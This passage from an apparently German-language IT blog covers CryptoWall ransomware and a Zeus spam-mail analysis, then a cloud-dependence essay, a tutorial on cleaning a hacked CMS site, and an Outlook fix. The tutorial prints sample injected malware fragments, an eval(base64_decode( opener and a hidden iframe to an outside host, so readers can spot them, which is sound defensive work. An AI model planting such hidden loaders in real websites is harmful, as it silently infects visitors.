Nachdem box.exe ausgeführt wurde, wird erst einmal der „Persönliche Verschlüsselungscode“ generiert. Die Formulierung dazu ist recht höflich gehalten („Especially for you, on our server was generated the secret key pair…“).

Schaut man sich die Netzwerkprotokolle an, wird schnell ersichtlich, dass zu Generierung der Verschlüsselung eine vorgängig gehackte WordPressite genutzt wird:

CryptoWall 3 Netzwerkprotokoll

In diesem Fall handelte es sich um 9 verschiedene WordPresssites – ein Grossteil wurde wahrscheinlich bereits im Dezember 2014 über eine Sicherheitslücke im WordPressplugin RevSlider gehackt.

CryptoWall WordPress WIrt

An diesem Punkt stellt sich dann die Frage; Kann die Verschlüsselung auch über eine solche infizierte Webseite rückgängig gemacht werden?

Leider nein – den entsprechenden Entschlüsselungscode erhält man nur über das TOR-Netzwerk – eine Rückverfolgung ist damit praktisch unmöglich.

Antivirus?

CryptoWall VirustotalDen bereits im letzen Artikel SPAM – Back to the Roots  angesprochenen „Toten Winkel“ gibt es leider auch hier. 4 Stunden nach Erhalt der E-Mail haben 9 von 57 Antivirusscannern immer noch kein Problem mit dem File fax-message876-792-093.zip.

Wer mit diesen Schutzprogrammen unterwegs ist muss sich auf seinen gesunden Menschenverstand verlassen – oder aber verfügt über ein gutes Backup!

 

 

PS: Im Wikieintrag Cryptowall 3.0 entfernen gibts einige Tipps wie man versuchen kann Daten von einem mit Cryptowall betroffenen Computer zu retten.

SPAM – Back to the roots

- - Allgemein, IT, Web

Wir bekommen täglich Dutzende von SPAM-Mails. Dass diese Mails nicht immer „harmlos“ sind und wie weit man sie zurückverfolgen kann – in diesem Artikel.

Das Mail

Ricardo SPAMAm 9. September 2014 wurde im Namen von Ricardo.ch nebenstehendes Mail versendet. Auf den ersten Blick brilliert es nicht unbedingt durch übermässig viel Inhalt – interessant ist es trotzdem.

„Bestellung“, „Ricardo“? Passt irgendwie nicht  zusammen…

RTF – Datei im Anhang? Höchst suspekt…

Nichtsdestotrotz schlägt weder Google noch Kaspersky Alarm – Grund genug dem Ganzen einmal detailliert auf die Spur zu gehen.

 

Der Absender

Eigenschaften  SPAM MailWas bereits „gefühlsmässig“ klar ist bestätigt sich nach einer kurzen Analyse. Ricardo hat mit diesem E-Mail überhaupt nichts zu tun. Im Mailheader („Kopfbereich…“) findet man bereits den ersten Hinweis – abgesendet wurde es in Spanien mithilfe von Outlook Express.

Ursprung SPAM MailWenn man noch tiefer gräbt findet man sogar den ungefähren Sendestandort – Madrid. Selbstverständlich wird man den Absender nicht (mehr) am angegebenen Ort finden – er war aber physisch oder digital zumindest einmal an diesem Ort.

 

 

Das Ziel

Spätestens an diesem Punkt stellt sich die Frage, was der Absender mit diesem Mail überhaupt bezweckt. Da wir die „Aussenstelle Spanien“ von Ricardo bereits ausgeschlossen haben, bleiben nicht viele Alternativen. Phishing kann ebenfalls ausgeschlossen werden – es würde reichen einen Link anstelle eines angehängten Dokumentes zu senden. All das führt zum Schluss, dass das angehängte RTF – Dokument alles andere als harmlos ist.

Der Köder

Virtuelle Maschine als KöderUm der Spur weiter zu folgen bleibt in diesem Fall nichts anderes übrig, als das Dokument zu öffnen. Selbstverständlich nicht in einem produktiven System sondern in einer abgesicherten Umgebung. Als Köder dient ein ungepatchtes Windows XP ohne jeglichen Virenschutz aber mit aktivierter Windows –  Firewall. Wir wollen es den „Besuchern aus Spanien“ ja nicht zu leicht machen 😉 …

Der Anhang im Detail

Mail Ihre BestellungWer jetzt eine ausgeklügelte Masche in fehlerfreiem Deutsch erwartet, wird leider enttäuscht. Das Öffnen des RTF-Dokumentes im Anhang bewirkt nämlich noch nicht viel.

Erst nachdem man einen Doppeklick auf die vermeintliche Quittung durchgeführt hat, wirds interessant.

Anhang entpacktDas File „entpackt“ sich direkt in die temporären Dateien – an sich noch nichts aussergewöhnliches. Allerdings injiziert es sich zeitgleich in Systemprozesse…

 

Eine etwas tiefere Analyse zeigt dann – es handelt sich um eine Variante des Schadprogrammes Zbot.Trojanbesser bekannt als Zeus. Primäres Ziel ist das Abgreifen von sensiblen Zugangsdaten wie etwa E-Banking.

Back to the roots?

Bis zu diesem Punkt zeigen sich keine verdächtigen Netzwerkverbindungen. Wieso auch? Es gibt ja noch nichts von Interesse.

NetzwerkverbindungenSobald aber ein potentielles E-Banking genutzt wird (im Beispiel: UBS.com) kommt Bewegung in die Sache. Die recht sonderbaren AAAA Records korrespondieren dabei immer mit einem im System erstellten Unterverzeichnis. Die wohl interessanteste Verbindung kommt aber erst gegen Schluss:
8762 426.518167000 192.168.1.1 192.168.1.80 DNS 260 Standard query response 0xaa68 CNAME p-awse-211774586.us-east-1.elb.amazonaws.com A 50.17.221.235 A 50.17.201.27 A 50.17.183.39 A 54.225.68.181 A 23.21.241.69 A 54.225.231.249 A 50.16.245.116 A 50.16.191.165

Da die UBS ihre E-Bankingplattform garantiert nicht auf Servern von Amazon hostet (!!!) ) dürfte unter diesen Adressen bereits die C&C (Command-and-Control-Engine)  der Trojaners sein. Die entsprechenden DNS – Einträge verweisen zumindest allesamt auf die Amazon Web Services…

Wieso gerade die Cloud von Amazon bei den „Bad Guys“ so beliebt ist liegt auf der Hand; Günstig, Schnell und praktisch anonym. Fliegt das Ganze auf wird einfach der Account gewechselt und das Spiel beginnt von Neuem.

Toter Winkel

Dieser Versuch an sensible Daten von Schweizer Kunden zu kommen ist zwar von der Aufmachung her eher schlampig gemacht – nichts desto trotz werden ausreichend Schweizer davon betroffen sein, dass sich auch ein solcher „Low Cost“ Angriff lohnt.

Gefährlich scheint hier insbesondere der „tote Winkel“, d.h. der Zeitraum zwischen dem Versenden und Erkennen des Schadprogrammes.  Das infizierte RTF-Dokument ging problemlos durch Googles „Cloudfilter“ und passierte auch eine aktuelle Version von Kaspersky. Erst nach ca. 11 Stunden warf Kaspersky eine Warnung aus.

Es lohnt sich also durchaus nicht alles in die Hände von Sicherheitssoftware oder der Cloud zu legen sondern ab und zu auch etwas gesunden Menschenverstand zu gebrauchen- oder?

 

PS: Das Entfernen des Trojaners ist übrigens relativ leicht – ZBot Killer von Kaspersky erledigt das schnell und schmerzlos 😉

Cloud um jeden Preis?

- - Allgemein, IT, Web

Egal in welcher Branche man sich heute umhört – der Begriff „Cloud“ und „Daten auslagern“ ist allgegenwärtig. Es scheint die Lösung für alle Probleme zu sein – ohne Rücksicht auf Konsequenzen. Aber ist das wirklich so?

Die Nutzung einer Cloud ist selbstverständlich geworden. Egal ob Google, Dropbox, Microsoft oder wie sie sonst noch heissen – fast jeder lagert bei einem dieser grossen Anbieter einen Teil seiner Daten.

Cloud um jeden Preis?Der Grund dafür? Nun – Daten in der Cloud zu lagern ist einfach ungemein praktisch. Weder muss man sich um ein Backup kümmern, noch müssen die Daten in irgendeiner Form mit sich geführt werden. Selbst unterwegs hat man vollen Zugriff auf wichtige Informationen und kann diese nach Belieben mit allen teilen.

Hinzu  kommen die verhältnismässig geringen Kosten die bei den grossen Cloudanbietern teilweise sogar ganz entfallen.

Doch gibt es dabei keinen Haken? Keine Hintergedanken?

Alles hat seinen Preis

Alles hat seinen Preis, auch Dinge, von denen man sich einbildet, man kriegt sie geschenkt.

Jeder weiss es, nicht immer ist man sich dessen aber bewusst. (Nur) Nichts ist gratis.
Selbstverständlich bezahlt man beispielsweise für OpenSource Produkte die man kostenlos herunterladen kann nicht mit Geld – dafür aber mit Zeit, die man braucht um sich damit vertraut zu machen.

Auch bei Demoversionen und Gratisproben bezahlen wir mit Zeit – die wir einsetzen um uns mit dem Produkt zu befassen.

Wo also liegt der Preis der Cloud?

In der Zeit? In den meisten Fällen nicht – den Cloudprodukte sind praktisch „idiotensicher“ aufgebaut. Ein paar Klicks dort, ein paar Klicks da – und komplexe Vorgänge sind  plötzlich auch für Neueinsteiger möglich.

Für viele alltägliche Probleme finden sich heute findige Cloudprovider die eine Lösung anbieten – was darunter leidet ist das Verständnis und die Möglichkeit sich selbst weiterzuentwickeln.

All dies führt zu einer starken Abhängigkeit vom jeweiligen Anbieter. Man mag argumentieren, dass gerade im IT-Bereich immer eine Abhängigkeit von Systemen oder Produkten vorhanden ist – doch in der Cloud ist diese wesentlich stärker, da die Daten nicht nur technisch sondern auch räumlich vom Benutzer abgetrennt werden.

Ein Beispiel? Bei einer Serverlösung im Büro wissen Sie, dass Ihre Daten in Griffweite liegen. Bei einer Cloudlösung hingegen wissen Sie – …nichts.
Ihre Daten könnten theoretisch überall auf der Welt verteilt liegen, das Dokument XY liegt in einem Rechenzentrum in den USA, Video Y liegt auf einem Server in Deutschland…

Kurzum – wenn Sie totale Abhängigkeit suchen, in der Cloud werden Sie fündig!

Verblendung

Die monetären Kosten eine Cloudlösung versperren uns die Sicht auf den wahren Preis.

Es beginnt bereits im kleinen.
Sätze wie „Sichern Sie sich jetzt 5 GB kostenlosen Speicherplatz“ oder „Lager Sie Ihre Daten jetzt sicher und kostenlos in der Cloud“ klingen gut und verleiten uns, dieses Angebot gleich zu nutzen – denn was kann schon passieren?

Das wir dabei nicht nur unser Benutzerverhalten sondern auch unsere persönlichen Daten offenlegen spielt kurzfristig keine Rolle – denn das Angebot  ist ja einfach „zu gut“…

Dasselbe gilt für jede andere virtuelle Dienstleistung; E-Mail, Dokumentenbearbeitung, Musik– alles bekommt man heute in der Cloud – günstiger oder kostenlos und überall verfügbar!

Das Problem dabei, ist nicht einmal die Suche nach dem „günstigsten“ (oder billigsten?) Anbieter, denn jeder hat das Recht für sich oder sein Unternehmen das günstigste Angebot zu wählen. Problematisch ist  ist die „Geiz-ist-geil“ Mentalität; Wir fahren 20 km weiter, weil die Tankstelle dort das Benzin 2 Rappen günstiger anbietet. Wir bestellen Elektronikprodukte online aus China weils 30.- Franken günstiger kommt. Wir lagern Daten in der Cloud weils günstiger oder sogar kostenlos ist. Kurz – wir ordnen sämtliche Vor- und Nachteile den monetären Kosten unter – ohne Rücksicht auf langfristige Folgen.

Wir lassen uns vom Faktor Preis (ver)blenden – auf Kosten unserer Individualität und Unabhängigkeit.

Von Vordenkern und Mitläufern

Wer eine Cloudlösung verwendet, spielt nach den Regeln seines Anbieters. Alle Prozesse und Abläufe wurden vordefiniert – es gibt wenig Platz für eigene Anpassungen. Selbstverständlich lassen sich gewisse Punkte individualisieren (Logo, Texte) – aber immer nur bis zu einem gewissen Punkt. Jemand hat für Sie vorgedacht – jetzt müssen Sie mitlaufen.

Grundsätzlich ist die Idee eines vordefinierten Systems, dass sofort produktiv eingesetzt werden kann zwar absolut in Ordnung. Problematisch ist nur die Tatsache, dass dieses System sagt, was man wie tun muss. Die Notwendigkeit sich selbst mit einem Problem zu befassen entfällt fast vollständig – damit aber auch der Lerneffekt und die Chance individuelle Abläufe zu optimieren.

Macht die Cloud dumm?

Cloud_DenkenDie Frage ist heikel, muss aber dennoch gestellt werden. Wo wären wir heute, wenn die Menschheit immer nur vordefinierten Prozessen gefolgt wäre? Nur „fixfertige“ Produkte eingekauft hätte? Grundlegende Fragen einfach übergangen worden wären, weil die Lösung ja bereits da ist?

Wohin kommen wir, wenn die Antwort auf jede Frage nur noch lautet „die Cloud“?

Wo sind meine persönlichen Finanzdaten? In der Cloud.
Wo ist mein Erspartes? In der Cloud.
Woher erfahre ich, welches Wetter morgen ist? Aus der Cloud.
Woher erfahre ich den schnellsten Weg nach Zürich? Aus der Cloud.

Selbstverständlich ist die Cloud nicht durch und durch schlecht. Im Gegenteil. In gesundem Masse kann sie tatsächlich Dinge vereinfachen und Kosten senken. Doch genau dieses Mass findet bei weitem nicht jeder – inbesondere da „die Cloud“ immer mehr zum Statussymbol avanciert und Personen ohne Cloudnutzung als altmodisch oder ängstlich abstempelt.

Die Cloud kann „dumm machen“ indem uns komplexe Vorgänge als absolut simpel verkauft werden. Wir reichen ein Problem ein und erhalten die Lösung – wo, wie und womit diese aber entstanden ist bleibt  unverständlich.  Die Cloud denkt für uns und löst unsere Probleme, nimmt uns dabei aber auch die Gelegenheit uns selbst weiterzuentwickeln und neue Lösungswege zu finden.

Macht die Cloud abhängig?

Auf jeden Fall. Je komplexer die Cloudlösung, desto komplizierter ist der Zugriff auf Rohdaten. Bei reinen Speicherlösungen wie Dropbox, Google Drive oder Backup in der Cloud ist der Zugriff und der Erhalt von Daten noch relativ problemlos möglich. Werden hingegen ganze Systeme wie Server oder virtuelle Arbeitsplätze in der Cloud hinterlegt ist ohne Zustimmung des Anbieters oftmals nur ein teilweiser Zugriff möglich. Eine schnelle Möglichkeit den Anbieter zu wechseln gibt es dann nicht mehr – selbst der Export von simplen Datensätzen kann zu einer Herkulesaufgabe werden.

Bei jeder Entscheidung für eine Erweiterung oder Ergänzung des  System muss der Anbieter miteinbezogen werden. Kann z.B. mit einer physischen Infrakstruktur, die im Büro steht recht einfach ein Benutzer oder Gerät hinzugefügt werden, fehlen Ihnen bei einer in der Cloud hinterlegten Lösung dazu meist die Berechtigungen. Sie müssen zuerst nachfragen, ob das möglich ist bzw. was das zusätzlich kostet – und sind damit wiederum abhängig vom Anbieter.

Ist die Cloud sicher?

Sicherheit wird immer wichtiger – insbesondere wenn theoretisch jeder auf die Clouddaten zugreifen kann. In diesem Punkt müssen Sie sich aber auf Ihren Cloudanbieter verlassen – Sie haben wenig Möglichkeiten die Sicherheit zu überprüfen geschweige denn zu erhöhen. Sie spielen nach den Regeln Ihres Cloudproviders und müssen sich danach richten.

Auch der gern und oft erwähnte Standortvorteil Schweiz ist kein Garant für Sicherheit. Zwar mag dadurch eine gewisse rechtliche Sicherheit gegeben sein – wie stark sich ausländische Geheimdienste aber um das Recht in der Schweiz bzw. in Europa scheren, dürfte aber hinlänglich bekannt sein. Da jede Cloudlösung auch immer einen Teil  Soft- oder Hardware „Made in USA“ beeinhaltet, lässt sich auch die Gefahr für mögliche Hintertürchen nicht vollständig ausschliessen. Kurz – es ist eine Illusion zu glauben, nur weil eine Lösung in Europa gehostet wird,  sei man gegen Datenschnüffelei vollständig geschützt.

Dass Sicherheit gerade im Web schnell zum Problem werden kann, zeigte beispielsweise die Sicherheitslücke „Heartbleed„. Zwar kann sie auch lokale Installationen betreffen, der Schwerpunkt wird aber bei Cloudlösungen liegen. Welche Schäden dadurch entstanden sind wird sich erst langfristig zeigen.

Weg ohne Wiederkehr?

Die Cloud ist nicht ohne Grund nach einer Wolke benannt. Zwar hat man jederzeit Zugriff auf seine Daten, auf welchem physischen Medium diese Daten dann schlussendlich aber lagern kann oft gar nicht oder nur schwer festgestellt werden – alles liegt im „Nebel der Cloud„.
Zugegeben – dies mag für Urlaubsbilder oder private Mails keine grosse Rolle spielen.  Sobald  aber sensible Informationen wie Passwörter, persönliche Informationen oder Geschäftsdaten gespeichert werden, ist die Frage in welchen Teilen der Welt diese Daten denn nun kursieren, sicherlich berechtigt.

Da der Weg der Daten bei Cloudlösungen nicht immer nachvollzogen werden kann, ist auch die Enfernung derselben immer mit einem gewissen Risiko behaftet. Anders ausgedrückt – was einmal in der Cloud liegt ist nur sehr schwer wieder zu entfernen.

Relativierung

Den Preis der Cloud lässt sich nicht monetär beziffern. Wir bezahlen nicht nur mit Geld sondern auch mit nur schwer messbaren Werten wie Abhängigkeit, Persönlichen Informationen und Verlust von Selbständigkeit. Gleichzeitig ist die Cloud aber auch nicht durch und durch schlecht – in vernünftigem Masse verwendet, kann sie durchaus nützlich sein und den Alltag erleichtern.

Wie so oft gibt es nicht nur schwarz und weiss (Cloud vs. Offline) sondern auch grau – z.B. in Form einer privaten Cloud oder einer ausgeglichenen Hybridlösung. Alternativen zur Cloud insbesondere im Geschäftsbereich gibt es zu Genüge – sofern man denn dem Cloud-Hype widerstehen kann…

Webseite gehackt – Was nun?

- - Tutorials, Web

Dass grosse Webseiten gehackt werden ist bekannt. Doch was passiert wenn die eigene Webseite plötzlich ungebetene Gäste hat? Woher kommen sie? Und wie verhindert man das Schlimmste?

Betroffene Systeme

Sollten Sie nur statische HTML Seiten als Grundlage für Ihre Webseite verwenden (erkennbar an der Endung einzelner Seiten, z.B. meineseite.ch/kontakt.html) besteht ein geringes Risiko, dass Sie gehackt werden. Sobald Sie aber mit dynamischen Seiten, also z.B. CMS-Lösungen wie WordPress, Joomla etc. arbeiten und im Hintergrund eine Datenbank liegt besteht ein erhöhtes Risiko, dass Sie einem Hackerangriff zum Opfer fallen.

Die Aussage, dass verbreitete CMS-Lösungen verwundbarer als Einzellösungen sind ist aber dennoch nicht richtig. Zwar sind häufig verwendete CMS-Systeme interessanter für Angreifer, andererseits werden Lücken und Fehler auch wesentlich schneller bemerkt und geschlossen. Sofern Ihr CMS entsprechend gewartet und aktualisiert wird reduziert sich das Risiko daher erheblich.

Riskofaktoren

Passwörter

Die übliche Sicherheitslücke gilt auch für Webseiten. Verwenden Sie sichere Passwörter – lang und kompliziert 😉 Als Alternative dazu eignet sich eine zweistufige Authentifzierung wie sie es vielleicht vom E-Banking her kennen. Google bietet dazu mit dem Google Authenticator eine interessante Lösung.

Plugins und Erweiterungen

Sobald ein System durch fremde Erweiterungen ergänzt wird steigt die Gefahr einer Sicherheitslücke. Verwenden Sie nur aktuelle Erweiterungen die regelmässig aktualisiert werden und sauber aufgebaut sind. Hier lohnt sich auch einen Blick auf kostenpflichtige Plugins zu werfen – Sie können sich damit eine Menge Ärger ersparen.

Themes und Designs

Wenn Sie Themes oder Designs für Ihr CMS aus dem Web beziehen, achten Sie auf die Quelle. Sie finden viele kostenpflichtige Themes „kostenlos“ im Netz – leider installieren Sie damit aber manchmal nicht nur das Design sondern auch noch ein Hintertürchen. Auch hier gilt – ein Blick auf kostenpflichtige Themes lohnt sich!

Webhoster

Webhoster gibt es mittlerweile wie Sand am Meer. Ein grosser Teil davon sind sogenannte Reseller, d.h. sie kaufen ein Hostingprodukt ein und verkaufen es weiter. Nicht immer sind die entsprechenden Reseller aber auch zuverlässig oder mit den Gefahren des Webs vertraut. Achten Sie deshalb nicht immer nur auf den Preis, sonder vor allem ob der Hoster wirklich sein eigenes Hosting betreibt und weiss was er tut.

Kenne deinen Feind

Bereits Sunzi wusste; Kenne deinen Feind! Daher ist immer auch die Identifikation der „Hacker“ ein Ziel. Glücklicherweise sind die meisten Attacken „Massenware“, d.h. sie werden nicht gezielt gegen eine Webseite gerichtet sondern gegen alle angreifbaren. Die Tools dazu werden entweder in entsprechenden Foren gekauft oder selbst erstellt.

Hack for money

Malware Webseite

Gehackte Webseiten mit Schadcode werden relativ rasch gesperrt – leider auch für potentielle Kunden oder Besucher…

Um es kurz zu machen – diese Angreifer möchten früher oder später Geld verdienen. Dementsprechend leiten Sie Ihre Besucher entweder um oder laden im Hintergrund Schadsoftware auf die Besucherrechner. Um den Profit zu maximieren laufen diese  Angriffe automatisiert ab, da sich diese Masche nur in grossen Mengen auszahlt (wenn überhaupt…). Dabei werden häufig .php-Files Ihrer Webseite verändert mit der Folge dass die ursprüngliche Webseite entweder gar nicht mehr oder nur noch eingeschränkt funktioniert.

Hack for prestige

Hack for prestige

Anders als beim obigen Beispiel bekennt sich hier eine Gruppe zum Angriff

Mittlerweile gibt es im Web Ranglisten für Gruppen welche die meisten Webseiten infiltriert haben. Der einzige Zweck eines solchen Angriffs ist demnach – Prestige! Obwohl für Besucher keine direkte Gefahr droht, wird auch hier die Webseite verändert um „zu beweisen“ dass sie gehackt wurde – selbstverständlich immer mit einigen Bemerkungen der jeweiligen Gruppe. Im Beispiel links wird netterweise sogar erwähnt wie die Seite in den „Originalzustand“ zurück versetzt werden kann.

Website desinfizieren

Da die gehackte Webseite in den meisten Fällen nicht mehr öffentlich zugänglich ist bzw. nur noch teilweise funktioniert, muss die Desinfektion auf einer anderen Ebene erfolgen – per FTP.

Zugang per FTP verschaffen

Wie man sich Zugang per FTP verschafft wird vielen bekannt sein. Falls nicht – einfach Filezilla herunterladen und mit den entsprechenden Benutzerdaten einloggen. Diese finden sich auf dem Datenblatt des Hosters.

Webseite per FTP desinfiszieren

Sobald die FTP-Verbindung steht, sollte man sich zuerst einen Überblick über die Ordnerstruktur verschaffen. Häufig befinden sich die für uns relevanten Daten im Ordner „httpdocs“. Neben einigen Unterordnern sollte dort auch eine Datei „index.php“ vorhanden sein. Diese einfach mittels Drag&Drop auf den Desktop kopieren und mit einem Texteditor öffnen (Tipp: Notepad ++ eignet sich hervorragend dafür).

 

 

 Schadcode identifizieren

Nun folgt die eigentliche Suche nach dem Schadcode. Irgendwo im Code, häufig aber direkt am Anfang des .php – Files finden sich Zeilen, die einfach nicht so recht hineinpassen wollen. Einige beginnen beispielsweise so:

<script type="text/javascript">// <![CDATA[var
eval(base64_decode(
<iframe src="http://efwel.pro/7dfs32s/" height="1" width="1" frameborder="0" scrolling="no">

Das der Schadcode nicht direkt sichtbar ist sondern verschleiert wird ergibt sich aus dem Zusammenhang – der Angreifer möchte möglichst wenig Spuren hinterlassen. So liegen dann auch die eingebundenen Schadcodeteile meist auf gekaperten Servern – und niemals direkt beim Täter.

Wem die Suche nach „verdächtigem Code“ zu mühsam ist, kann selbstverständlich auch mit Originaldateien vergleichen.

Schadcode entfernen

Da in den wenigsten Fällen nur ein File betroffen ist, müssen wir sämtliche Dateien überprüfen. Dazu setzen wir sämtliche Schritte zusammen:

  1. Schadcode entfernenDownload der gesamten Webseite via FTP (siehe Zugang per FTP)
  2. Identifizierten Schadcode in die Zwischenablage kopieren (siehe Schadcode identifizieren)
  3. Notepad ++ öffnen. Unter „Suchen“ in „Dateien suchen“ das komplette, heruntergeladene Verzeichnis nach dem Schadcode durchsuchen (Bild A)
  4. Falls mehrere Ergebnisse gefunden werden können  im selben Fenster mit „Ersetzen durch“ sämtliche Einträge gelöscht werden (Bild B).
  5. Abschliessend sollten die Dateien noch mit einem Antivirus bspw. Kaspersky gescannt werden (Findet manchmal noch Einträge…)

Hinweise

Es gibt keine Garantie, dass wirklich sämtlicher Schadcode entfernt wurde. Wer auf Nummer sicher gehen will, sollte sämtliche Files durch Originaldateien ersetzen und die Datenbank neu anbinden. Eventuell vorgenommene Modifikation an Design / CMS gehen dabei verloren. Wer über ein Backup verfügt sollte zuallererst dieses einspielen…

Um festzustellen, ob auch andere Webseiten auf demselben Hoster vom Hack betroffen sind lohnt sich ein Blick auf http://www.yougetsignal.com/tools/web-sites-on-web-server/. Dadurch kann man das Ausmass etwa abschätzen und weitere Schritte planen (z.B. Hoster informieren/wechseln)

Wer gerne den Schadcode etwas genauer analysieren möchte kann dazu diverse Onlinetools (z.B. http://www.unphp.net/) verwenden. Diese „entschlüsseln“ den Code mehr oder weniger schlecht…

Wenn die Webseite erneut gehackt wird, sollten die Risikofaktoren auf jeden Fall erneut überprüft werden

Outlook 2013 Posteingang verschwunden

- - IT, Snippets, Web

Fehler

Beim Abruf von E-Mail mit Outlook 2013 per IMAP „verschwindet“ der komplette Posteingang bzw. ist einfach leer. Selbst das komplette Entfernen des Outlookprofils und eine Neueinrichtung bringen keine Lösung.

Ursache

In Outlook 2013 scheinen einige Funktionen noch nicht ganz ausgereift zu sein… 😉

Lösung

  1. Sämtliche IMAP-Ordner Abos kündigen (Rechtsklick auf „Posteingang“, „IMAP-Ordner“)
  2. Outlook schliessen und danach neu starten.
  3. Anschliessend die gewünschten IMAP-Ordner erneut abonnieren und neu synchronisieren („Alle Ordner senden und empfangen“)